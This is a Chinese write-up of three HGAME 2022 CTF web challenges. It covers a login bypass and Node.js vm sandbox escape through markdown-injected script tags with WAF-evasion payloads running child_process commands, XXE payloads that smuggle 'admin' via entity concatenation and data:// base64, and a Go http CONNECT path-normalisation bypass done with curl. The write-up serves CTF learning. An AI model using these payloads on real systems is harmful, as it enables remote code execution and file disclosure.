hgame第四周-web
1.Markdown Online
考点:markdown xss,nodejs vm逃逸,JavaScript语言特性
参考:[HGAME 2022 WEB | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2022/02/17/HGAME 2022 WEB/#more)
以及官方wp和github的payload:
Markdown-XSS-Payloads/Markdown-XSS-Payloads.txt at master · cujanovic/Markdown-XSS-Payloads · GitHub
![QQ图片20220219153612](https://gitee.com/jackball/picture/raw/master/image/202202191537974.png)
与登陆相关的代码在 controllers.js:LoginController 里
先看导入了什么,markdown-it 与 zombie
Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章Nodejs Zoombie Package RCE 分析 | Summ3r’s personal blog
再看关键:密码转换为大写后要与54g相等,这是不可能的
![QQ图片20220219145435](https://gitee.com/jackball/picture/raw/master/image/202202191455884.png)
问题出在 try catch 语句,catch 块没有写return 语句,导致try中的代码抛出错误后继续往下执行,这也是实际开发中很容易犯的一个错误。
所以接下来要做的就是让第 15 行代码报错,对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误,比如:
![QQ图片20220219150448](https://i-blog.csdnimg.cn/blog_migrate/1129c86a6c6203d09b17e3fd131a8ce5.png)
登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过
{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}
或者
{"username":"admin","passowrd":{"length": 16}}
接下来就是 markdown 预览功能了,markdown 解析用的是 markdown-it 库,并且开启了对 html 标签的支持:
![QQ图片20220219162846](https://i-blog.csdnimg.cn/blog_migrate/34ce901bb21be92b422233c57ace803b.png)
也就是说 markdown 源码里的 html 标签会被保留而不是被转义。 比如
# header 1
<h2>header 2</h2>
将被解析为
<h1>header 1</h1>
<h2>header 2</h2>
在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行
![QQ图片20220219163030](https://i-blog.csdnimg.cn/blog_migrate/3cf5f4c25918282cc3188e9e6652fdef.png)
官方文档上有一句警告: The vm module is not a security mechanism. Do not use it to run untrusted code.。实际上 vm 模块可以逃逸, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE。
![QQ图片20220219163145](https://i-blog.csdnimg.cn/blog_migrate/dd04aea6db6e5695d2ca95a4deda4a68.png)
所以解题思路就是利用 markdown-it 不转义 html 标签的条件,构造一个恶意的 script 标签,利用其中的代码来逃逸 vm 沙箱并实现 RCE 。
网上很容易找到 vm 逃逸相关的 payload:
this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')
不过得 bypass 一下 waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj[“contr”+“uctor”]的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj[“constru”.concat(“ctor”)]
this 和 process 可以用 eval(“th”+“is”) 的形式绕过。
由于没有 ban 掉 eval,其实绕过 waf 的方法很多,可以将要执行的代码base64编码,或者
String.fromCharCode 来构造
Flag:hgame{3nj0y*Th3/pR0tOtype/pOllut10n!1n_j@v4scr1pt}
Y0ng博客的做法:
![d2fa4389a9b445df9018554a2a25d2bc](https://i-blog.csdnimg.cn/blog_migrate/3fc9e297789f770c63035e1630d393f0.png)
接着审计提交的控制器
![3129c99ebe7a4c7aadbc3b615f8c883b](https://i-blog.csdnimg.cn/blog_migrate/a7d56baf80f76a9dfe4e21c8419f166c.png)
先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作
![83294ba23687463095dd83f0c1482d1a](https://i-blog.csdnimg.cn/blog_migrate/1dd3d24bd88ddbd3688a7f46b442ddb1.png)
load又调用了this.tabs.open({ html: html }) 其实这里的 open
就是漏洞的入口
![a87d55d81699455498438500ee44d1c2](https://i-blog.csdnimg.cn/blog_migrate/943557c031de793ee55fd20a4d165d28.png)
剩下分析移步Nodejs Zoombie Package RCE 分析 | Summ3r’s personal blog
祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法
![8b68affbe67541449948ff012d5c2b9b](https://i-blog.csdnimg.cn/blog_migrate/d8747c5b64ab953f000649bba16ec4d0.png)
发现在 vm 模块运行js代码,代码运行的上下文是 window对象
![eb178b651c8c4f4ba68c8eff47f64201](https://i-blog.csdnimg.cn/blog_migrate/9cad43f54c8aff011863c033f29913b3.png)
但是这里存在一个waf
function waf(code) {
const blacklist = /__proto__|prototype|\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
if (code.match(blacklist)) {
return "# Hacker!"
} else {
return code
}
}
过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章
nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)
尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行
Payload:
<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>
或者
<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>
![6cb270c147964b539322a1ddeeffcc19](https://i-blog.csdnimg.cn/blog_migrate/d8d32e45d5bb7d0cac158477a0573917.png)
后续测试,构造一个constructor即可,成功的window方法:
btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找
window方法:clearImmediate()_w3cschool
相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt
nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习
nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总
vm2逃逸payload项目
https://github.com/patriksimek/vm2
2.Comment
考点:XXE 注入, data:// 协议
由于不是很了解xxe,暂时先通过官方wp+参考博客的方式复现
![QQ图片20220219160111](https://i-blog.csdnimg.cn/blog_migrate/c9c32e74161303b67065fa9f7efd7f2d.png)
给了 api.php 的源码,在提交评论时数据是以 XML 格式传输的,在 api.php 开头可以看到 libxml 开启了 XML 的外部实体解析,存在 XXE 注入的问题。
![QQ图片20220219160435](https://i-blog.csdnimg.cn/blog_migrate/8ffe9ef45b867597eb1358313bd4280f.png)
libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字
返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字(admin 不出现在XML数据里)
![QQ图片20220219160919](https://i-blog.csdnimg.cn/blog_migrate/88a3de4b7fd6f7b009a418499fc565b7.png)
本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>
官方payload:可以用 data:// 伪协议将 sender 给 base64 编码,在libxml解析的时候会自动解码。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content>111</content></comment>
Flag:hgame{Pr3ud0prOtQc4l*m33ts_Xx3-!nj3cti0n!}
比较简洁的一个博客解释:
代码中允许引入外部实体,libxml_disable_entity_loader(false);
协议过滤的比较死,但是能通过compress.zlib://
这个协议拿到/etc/passwd
这种,但是还是拿不到源码,因为源码里有php。
于是利用data协议的输入流,将输入流base64,将外部实体导入到<sender>
当中,绕过waf。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>
pil1ow师傅的做法非预期了,用html实体编码绕,不用引入外部实体。
<comment><sender>admin</sender><content>sb</content></comment>
好文章
XXE - XEE - XML External Entity - HackTricks
3.FileSystem
考点:Go官方http库特性、http标准
main.go
package main
import (
"log"
"net/http"
)
func fileHandler(w http.ResponseWriter, r *http.Request) {
http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}
func main() {
http.HandleFunc("/", fileHandler)
http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte(`No! You can't see the flag!`))
})
log.Fatal(http.ListenAndServe(":8889", nil))
}
there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
本题利用点是
- CONNECT 方法不执行路径规范化
- 官方的http库在注册路由的时候并没有指定http请求类型,使得在注册路由时相当于把一个路由的所有方法都一起注册掉了。
下图中可以看出在遇到 CONNECT 请求的时候,并没有进行路径的清洗操作,而是直接 handle 了,使得使用"//there_may_be_a_flag"或者"/…/there_may_be_a_flag"即可绕过专门注册的路由的限制。
![QQ图片20220219154220](https://i-blog.csdnimg.cn/blog_migrate/bea7722fb276b3a3f8854175c2b768d0.png)
而http.FileServer()函数内部会对路径再次进行清洗。
![QQ图片20220219154432](https://i-blog.csdnimg.cn/blog_migrate/97461dd7299c2d0c8eec75d81b17cb26.png)
使得我们可以绕开限制获得"/there_may_be_a_flag"
这道题,将 nginx 作为反向代理,而"/…/"这种请求会直接被 nginx 拦掉,所以本题的预期解是:
curl -X CONNECT --path-as-is http://filesystem.hgame.homeboyc.cn//there_may_be_a_flag
参考上面的博客:
从这里开始:there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!
审计完再结合题目觉得应该是 http.FileServer(http.Dir(“./“)).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题
golang的一些安全问题 - byc_404’s blog (bycsec.top)
随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,
非预期payload
curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag
非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。